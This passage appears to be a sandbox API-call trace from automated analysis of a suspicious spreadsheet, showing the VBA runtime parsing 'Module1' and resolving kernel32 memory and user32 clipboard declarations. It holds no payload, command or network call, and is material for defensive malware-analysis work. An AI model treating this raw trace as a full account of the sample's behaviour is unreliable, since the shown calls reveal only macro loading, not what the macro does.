	[0050.221] _ultow_s (in: _Value=0x5dbe8945, _Buffer=0xbc58c74, _BufferCount=0x9, _Radix=16 | out: _Buffer="5dbe8945") returned 0x0
	[0050.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035dbe8945", cchWideChar=11, lpMultiByteStr=0x26f1a0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035dbe8945", lpUsedDefaultChar=0x0) returned 11
	[0050.221] strcpy_s (in: _Dst=0xb9a9e28, _DstSize=0x8, _Src="Module1" | out: _Dst="Module1") returned 0x0
	[0050.221] IMalloc:Realloc (This=0x7feffc15380, pv=0xba9f660, cb=0x138) returned 0xbcfd250
	[0050.222] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0050.222] wcscpy_s (in: _Destination=0xbc58c88, _SizeInWords=0x8, _Source="Module1" | out: _Destination="Module1") returned 0x0
	[0050.222] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0050.222] wcscpy_s (in: _Destination=0xbc58c98, _SizeInWords=0x8, _Source="Module1" | out: _Destination="Module1") returned 0x0
	[0050.222] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791d00, cb=0x36) returned 0x713b230
	[0050.222] IMalloc:Realloc (This=0x7feffc15380, pv=0xbb71ab0, cb=0x12) returned 0xbb722f0
	[0050.222] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Module1") returned 0x101162
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x54) returned 0x4d7d970
	[0050.222] IMalloc:Free (This=0x7feffc15380, pv=0xbc881d0) 
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb791d00
	[0050.222] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791d00, cb=0x80) returned 0xba57bb0
	[0050.222] IMalloc:Free (This=0x7feffc15380, pv=0x4d7d970) 
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x74cdf10
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb791d00
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbb71ab0
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57c40
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacf0f0
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbace270
	[0050.222] wcsncpy_s (in: _Destination=0x26f2f0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0x0
	[0050.222] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", cchLength=0x34 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls") returned 0x34
	[0050.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", cchWideChar=53, lpMultiByteStr=0x26f220, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\2018110654968.xls.t.xls", lpUsedDefaultChar=0x0) returned 53
	[0050.222] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0050.222] CExposedStream::Seek () returned 0x0
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0xb6d79f0
	[0050.222] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57cd0
	[0050.223] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0xb8d6870
	[0050.223] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb7907d0
	[0050.223] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacfa50
	[0050.223] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacfa60
	[0050.223] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb7928a0
	[0050.223] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57d60
	[0050.223] CExposedStream::AddRef () returned 0x2
	[0050.223] CExposedStream::Read () returned 0x0
	[0050.223] CExposedStream::AddRef () returned 0x3
	[0050.223] CExposedStream::Release () returned 0x2
	[0050.223] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0xbd1dee0
	[0050.224] CExposedStream::Read () returned 0x0
	[0050.224] CExposedStream::Read () returned 0x0
	[0050.224] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918
	[0050.224] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Attribute") returned 0x10ed01
	[0050.224] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VB_Name") returned 0x10e2ff
	[0050.224] IMalloc:Alloc (This=0x7feffc15380, cb=0x8) returned 0xbacfa70
	[0050.224] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xbb72b30
	[0050.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbacfa70, cbMultiByte=8, lpWideCharStr=0xbb72b30, cchWideChar=8 | out: lpWideCharStr="Module1") returned 8
	[0050.224] IMalloc:Free (This=0x7feffc15380, pv=0xbacfa70) 
	[0050.224] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.224] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Option") returned 0x10f982
	[0050.224] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Explicit") returned 0x10edcb
	[0050.225] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.225] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.225] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.225] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.225] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalAlloc") returned 0x109d6a
	[0050.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2e1e, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11
	[0050.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2e1e, cbMultiByte=11, lpWideCharStr=0xb881ca8, cchWideChar=11 | out: lpWideCharStr="GlobalAlloc") returned 11
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wFlags") returned 0x108bdc
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dwBytes") returned 0x1090d6
	[0050.226] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.227] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.227] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.227] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.228] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0x26f0c0 | out: phkResult=0x26f0c0*=0x6fc) returned 0x0
	[0050.228] RegQueryValueExA (in: hKey=0x6fc, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0x26f0b8, lpcbData=0x26f0b0*=0x4 | out: lpType=0x0, lpData=0x26f0b8*=0x40, lpcbData=0x26f0b0*=0x4) returned 0x2
	[0050.228] RegCloseKey (hKey=0x6fc) returned 0x0
	[0050.230] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.230] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.231] lstrlenA (lpString="kernel32") returned 8
	[0050.231] IMalloc:Alloc (This=0x7feffc15380, cb=0x12) returned 0xbb72b30
	[0050.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x683208f, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=9 | out: lpWideCharStr="kernel32") returned 9
	[0050.231] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.231] lstrlenA (lpString="GlobalAlloc") returned 11
	[0050.231] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb72b30
	[0050.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2e1e, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=12 | out: lpWideCharStr="GlobalAlloc") returned 12
	[0050.231] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.231] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.232] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kernel32") returned 0x10a55f
	[0050.233] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791d00, cb=0x40) returned 0x4ee7f10
	[0050.233] _mbscpy_s (in: _Dst=0x4ee7f30, _DstSizeInBytes=0xc, _Src=0xb881ca8 | out: _Dst=0x4ee7f30) returned 0x0
	[0050.233] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57d60, cb=0x100) returned 0xb97ecf0
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalFree") returned 0x10596d
	[0050.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2ec6, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0050.234] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2ec6, cbMultiByte=10, lpWideCharStr=0xb881ca8, cchWideChar=10 | out: lpWideCharStr="GlobalFree") returned 10
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.234] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.234] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.234] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.234] lstrlenA (lpString="kernel32") returned 8
	[0050.235] IMalloc:Alloc (This=0x7feffc15380, cb=0x12) returned 0xbb72b30
	[0050.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6832098, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=9 | out: lpWideCharStr="kernel32") returned 9
	[0050.235] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.235] lstrlenA (lpString="GlobalFree") returned 10
	[0050.235] IMalloc:Alloc (This=0x7feffc15380, cb=0x16) returned 0xbb72b30
	[0050.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2ec6, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=11 | out: lpWideCharStr="GlobalFree") returned 11
	[0050.235] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.235] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kernel32") returned 0x10a55f
	[0050.235] IMalloc:Realloc (This=0x7feffc15380, pv=0x4ee7f10, cb=0x80) returned 0xba57d60
	[0050.235] _mbscpy_s (in: _Dst=0xba57dac, _DstSizeInBytes=0xb, _Src=0xb881ca8 | out: _Dst=0xba57dac) returned 0x0
	[0050.235] IMalloc:Realloc (This=0x7feffc15380, pv=0xb97ecf0, cb=0x200) returned 0x7383170
	[0050.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalLock") returned 0x10eb50
	[0050.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f1a, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0050.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f1a, cbMultiByte=10, lpWideCharStr=0xb881ca8, cchWideChar=10 | out: lpWideCharStr="GlobalLock") returned 10
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.236] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="hMem" | out: _Dst="hMem") returned 0x0
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.236] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.236] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.236] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.236] lstrlenA (lpString="kernel32") returned 8
	[0050.236] IMalloc:Alloc (This=0x7feffc15380, cb=0x12) returned 0xbb72b30
	[0050.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320a1, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=9 | out: lpWideCharStr="kernel32") returned 9
	[0050.237] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.237] lstrlenA (lpString="GlobalLock") returned 10
	[0050.237] IMalloc:Alloc (This=0x7feffc15380, cb=0x16) returned 0xbb72b30
	[0050.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f1a, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=11 | out: lpWideCharStr="GlobalLock") returned 11
	[0050.237] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.237] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kernel32") returned 0x10a55f
	[0050.237] IMalloc:Realloc (This=0x7feffc15380, pv=0xba57d60, cb=0x100) returned 0xb97ecf0
	[0050.237] _mbscpy_s (in: _Dst=0xb97ed68, _DstSizeInBytes=0xb, _Src=0xb881ca8 | out: _Dst=0xb97ed68) returned 0x0
	[0050.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalSize") returned 0x103618
	[0050.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f46, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0050.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f46, cbMultiByte=10, lpWideCharStr=0xb881ca8, cchWideChar=10 | out: lpWideCharStr="GlobalSize") returned 10
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.238] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="hMem" | out: _Dst="hMem") returned 0x0
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.238] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.238] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.238] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.238] lstrlenA (lpString="kernel32") returned 8
	[0050.238] IMalloc:Alloc (This=0x7feffc15380, cb=0x12) returned 0xbb72b30
	[0050.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320aa, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=9 | out: lpWideCharStr="kernel32") returned 9
	[0050.238] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.238] lstrlenA (lpString="GlobalSize") returned 10
	[0050.238] IMalloc:Alloc (This=0x7feffc15380, cb=0x16) returned 0xbb72b30
	[0050.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f46, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=11 | out: lpWideCharStr="GlobalSize") returned 11
	[0050.239] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.239] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kernel32") returned 0x10a55f
	[0050.239] _mbscpy_s (in: _Dst=0xb97ed94, _DstSizeInBytes=0xb, _Src=0xb881ca8 | out: _Dst=0xb97ed94) returned 0x0
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="GlobalUnlock") returned 0x1085c6
	[0050.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f72, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12
	[0050.239] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f72, cbMultiByte=12, lpWideCharStr=0xbca3268, cchWideChar=12 | out: lpWideCharStr="GlobalUnlock") returned 12
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.239] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.239] strcpy_s (in: _Dst=0x7fee613efc0, _DstSize=0x100, _Src="hMem" | out: _Dst="hMem") returned 0x0
	[0050.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hMem") returned 0x108fca
	[0050.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.240] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.240] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.240] lstrlenA (lpString="kernel32") returned 8
	[0050.240] IMalloc:Alloc (This=0x7feffc15380, cb=0x12) returned 0xbb72b30
	[0050.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320b3, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=9 | out: lpWideCharStr="kernel32") returned 9
	[0050.240] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.240] lstrlenA (lpString="GlobalUnlock") returned 12
	[0050.240] IMalloc:Alloc (This=0x7feffc15380, cb=0x1a) returned 0xb791d00
	[0050.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2f72, cbMultiByte=-1, lpWideCharStr=0xb791d00, cchWideChar=13 | out: lpWideCharStr="GlobalUnlock") returned 13
	[0050.240] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.240] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.240] IMalloc:Realloc (This=0x7feffc15380, pv=0x7383170, cb=0x400) returned 0xb8e1270
	[0050.240] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kernel32") returned 0x10a55f
	[0050.240] _mbscpy_s (in: _Dst=0xb97edc0, _DstSizeInBytes=0xd, _Src=0xb881ca8 | out: _Dst=0xb97edc0) returned 0x0
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OpenClipboard") returned 0x100006
	[0050.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2fa2, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13
	[0050.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2fa2, cbMultiByte=13, lpWideCharStr=0xbca3268, cchWideChar=13 | out: lpWideCharStr="OpenClipboard") returned 13
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hwnd") returned 0x10c12f
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LongPtr") returned 0x10d4e8
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.241] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.241] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.241] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.241] lstrlenA (lpString="user32") returned 6
	[0050.241] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xbb72b30
	[0050.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320bc, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=7 | out: lpWideCharStr="user32") returned 7
	[0050.241] IMalloc:Free (This=0x7feffc15380, pv=0xbb72b30) 
	[0050.241] lstrlenA (lpString="OpenClipboard") returned 13
	[0050.241] IMalloc:Alloc (This=0x7feffc15380, cb=0x1c) returned 0xb791d00
	[0050.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x57b2fa2, cbMultiByte=-1, lpWideCharStr=0xb791d00, cchWideChar=14 | out: lpWideCharStr="OpenClipboard") returned 14
	[0050.242] IMalloc:Free (This=0x7feffc15380, pv=0xb791d00) 
	[0050.242] SafeArrayUnaccessData (psa=0xbc881e0) returned 0x0
	[0050.242] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="user32") returned 0x10ce2a
	[0050.242] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x6850000
	[0050.243] IMalloc:Realloc (This=0x7feffc15380, pv=0xb97ecf0, cb=0x200) returned 0x7383170
	[0050.243] _mbscpy_s (in: _Dst=0x7383270, _DstSizeInBytes=0xe, _Src=0xb881ca8 | out: _Dst=0x7383270) returned 0x0
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PtrSafe") returned 0x106f4a
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CloseClipboard") returned 0x107962
	[0050.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850046, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14
	[0050.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850046, cbMultiByte=14, lpWideCharStr=0xbca3268, cchWideChar=14 | out: lpWideCharStr="CloseClipboard") returned 14
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Lib") returned 0x10ae81
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d
	[0050.243] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Long") returned 0x10b27a
	[0050.243] SafeArrayCreateVector (vt=0xc, lLbound=0, cElements=0x3) returned 0xbc881e0
	[0050.243] SafeArrayAccessData (in: psa=0xbc881e0, ppvData=0x26f0b8 | out: ppvData=0x26f0b8) returned 0x0
	[0050.243] lstrlenA (lpString="user32") returned 6
	[0050.243] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xbb72b30
	[0050.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x68320c3, cbMultiByte=-1, lpWideCharStr=0xbb72b30, cchWideChar=7 | out: lpWideCharStr="user32") returned 7
